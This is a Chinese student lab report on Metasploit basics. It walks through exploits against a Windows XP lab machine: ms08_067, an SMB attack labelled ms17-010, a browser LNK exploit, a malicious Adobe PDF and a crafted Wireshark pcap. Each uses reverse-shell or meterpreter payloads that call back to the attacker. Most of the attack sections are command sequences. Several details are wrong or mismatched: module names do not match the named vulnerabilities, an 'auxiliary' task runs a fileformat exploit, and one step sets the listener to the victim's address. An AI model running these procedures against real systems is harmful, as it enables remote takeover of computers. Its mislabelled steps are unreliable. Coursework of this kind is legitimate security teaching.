2019-2020-2 网络对抗技术 20175205 Exp6 MSF基础应用
2019-2020-2 网络对抗技术 20175205 Exp6 MSF基础应用
原理与实践说明
实践原理
1、 MSF主要模块:指Metasploit框架中所使用的一段软件代码组件
- 查看六种模块源码目录
/usr/share/metasploit-framework/modules
- 渗透攻击模块(Exploit Modules)
- 攻击漏洞,把shellcode"背"过去
- 针对每一个漏洞,写一段攻击代码
- 辅助模块(Auxiliary Modules)
- 在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
- 攻击载荷(Payload Modules)
- 载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
- 空字段模块(Payload Modules)
- 编码模块(Payload Modules)
- 后渗透攻击模块(Payload Modules)
2、 用户操作界面
- msfconsole
- 开发部署成本低、兼容性高、方便自动化
- 指令需要记
- armitage
- 点选模块 不用记忆
- 使用不灵活
- webgui
- 跨平台 高效 功能强大
3、 MSF常用漏洞指令
search name
:用指定关键字搜索可以利用的漏洞模块use exploit name
:使用漏洞show options
:显示配置选项set option name option
:设置选项show payloads
:回链攻击载荷show targets
: 显示目标(os版本)set TARGET target number
:设置目标版本exploit
:开始漏洞攻击sessions -l
:列出会话sessions -i id
:选择会话sessions -k id
:结束会话Ctrl+z
:把会话放到后台Ctrl+c
:结束会话show auxiliary
:显示辅助模块use auxiliary name
:使用辅助模块set option name option
:设置选项exploit
:运行模块
基础问题回答
Q:用自己的话解释什么是exploit,payload,encode.
- exploit是工具,用来连接漏洞,将payload传送到靶机中
- payload是载荷,是目标系统在被exploit传送之后,去执行的攻击代码
- encode是编码,用来包装payload,不让杀软轻易发现payload就是攻击代码
实验内容
任务一:主动攻击实践
如ms08_067
ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限。
-
实现:ms08_067
-
攻击机:Kali 192.168.62.21
-
靶机:Windows xp sp3 192.168.62.31
-
payload :
generic/shell_reverse_tcp
-
测试靶机与攻击机之间能否ping通
-
攻击者试探靶机是否存在此漏洞
nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.62.31
-
查看到靶机的版本号
-
查看到靶机存在此漏洞
-
-
msfconsole
打开控制台 -
search ms08-067
查看漏洞位置
-
use exploit/windows/smb/ms08_067_netapi
选择该漏洞 -
set payload generic/shell_reverse_tcp
设置攻击的载荷 -
set RHOSTS 192.168.62.31
设置靶机IP -
set LHOSTS 192.168.62.21
设置攻击机IP -
exploit
进行攻击
-
验证连接结果,例如
ipconfig /all
命令
ms17-010
-
实现:ms17-010
-
攻击机:kali 192.168.62.21
-
靶机:Windows xp sp3 192.168.62.31
-
payload:
generic/shell_reverse_tcp
-
攻击机使用
nmap -sS -A --script=smb-vuln-ms17-010 -PO 192.168.62.31
探测靶机是否存在该漏洞
-
search ms17-010
查看漏洞的渗透模块
-
use exploit/windows/smb/ms07_029_msdns_zonename
进入该模块 -
show payloads
显示有效的攻击载荷
-
set payload generic/shell_reverse_tcp
设置攻击的载荷 -
set RHOST 192.168.62.31
设置靶机IP -
set LHOST 192.168.62.21
设置攻击机IP
-
exploit
进行攻击 -
在用ms17-010攻击时,会出现靶机自动重启的状况,然后就会提示失败,无法成功获取靶机权限,我猜有可能是漏洞被修复了叭~
任务二:一个针对浏览器的攻击
-
实现:ms10-018
-
攻击机:kali 192.168.62.21
-
靶机:Windows xp sp3 192.168.62.31
-
payload:
windows/meterpreter/reverse_tcp
-
首先查看浏览器漏洞:
cd /usr/share/metasploit-framework/modules/exploits/windows/browser
-
输入
ls
即可看到很多漏洞代码,选择ms10_046_shortcut_icon_dllloader.rb
-
进入控制台:
msfconsole
,使用:use windows/browser/ms10_046_shortcut_icon_dllloader
-
查看一下这个漏洞的作用: info
-
此模块利用处理Windows快捷方式文件(.LNK)时的漏洞,其中包含指向恶意DLL。此模块创建可以使用的WebDAV服务,当以UNC路径访问时,可以运行任意负载。
show payloads //显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp //选择攻击载荷
set LHOST 192.168.62.31 //设置监听地址
exploit //进行攻击
-
在靶机用浏览器打开生成的链接:
http://192.168.62.21:80/
-
查看会话: sessions
-
选取会话: session -i 1
任务三:一个针对客户端的攻击
-
实现:Adobe
-
攻击机:kali 192.168.62.21
-
靶机:Windows xp sp3 192.168.62.31
-
使用:
search adobe
查找Adobe漏洞
-
使用:
use windows/fileformat/adobe_cooltype_sing
使用漏洞 -
payload:
windows/meterpreter/reverse_tcp
-
设置相关参数
set LHOST 192.168.62.21 //攻击者地址
set FILENAME 20175205Hy.pdf //设置生成pdf文件的文件名
exploit //攻击
- 将生成的文件复制之后导入靶机中:
cp /root/.msf4/local/20175205Hy.pdf 20175205Hy.pdf
- 在靶机中使用双击打开
20175205Hy.pdf
,攻击成功
任务四:成功应用任何一个辅助模块
-
实现:MS12-020(CVE-2012-0002)蓝屏攻击
-
攻击机:kali 192.168.62.21
-
靶机:Windows xp sp3 192.168.62.32
-
payload :
windows/meterpreter/reverse_tcp
-
使用:
msfconsole
进入控制台 -
使用:
use exploit/windows/fileformat/wireshark_packet_dect.rb
,使用漏洞 -
使用:
info
,查看漏洞具体信息(重点当然是description)
-
使用:
set payload windows/meterpreter/reverse_tcp
选择攻击载荷 -
设置相关参数
set LHOST 192.168.62.21 //攻击者地址
set LPORT 5205 //设置端口号
set FILENAME 5205.pcap //设置文件名
show options //查看设置
exploit //攻击
- 将生成的
5205.pcap
复制到Windows XP中 - kail中输入
back
退出当前模块,进入监听模块
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp //选择攻击载荷
set LHOST 192.168.62.21 //攻击者地址
set LPORT 5205 //设置端口号
exploit //攻击
- 在靶机中使用wireshark打开
5205.pcap
实验感想
- 本次实验内容较简单,把一些看似没有关联的知识点连接起来,巩固了自己的知识体系。
- 但是叭,这个环境也太难了,得找到合适靶机才能实验成功,这也体现了metasploit攻击漏洞的专一性,对操作系统和软件版本都有细致的要求。
- 但是离真正时间还有一定距离,很多都是在特殊环境下执行的,对靶机要求很高,不具有灵活性。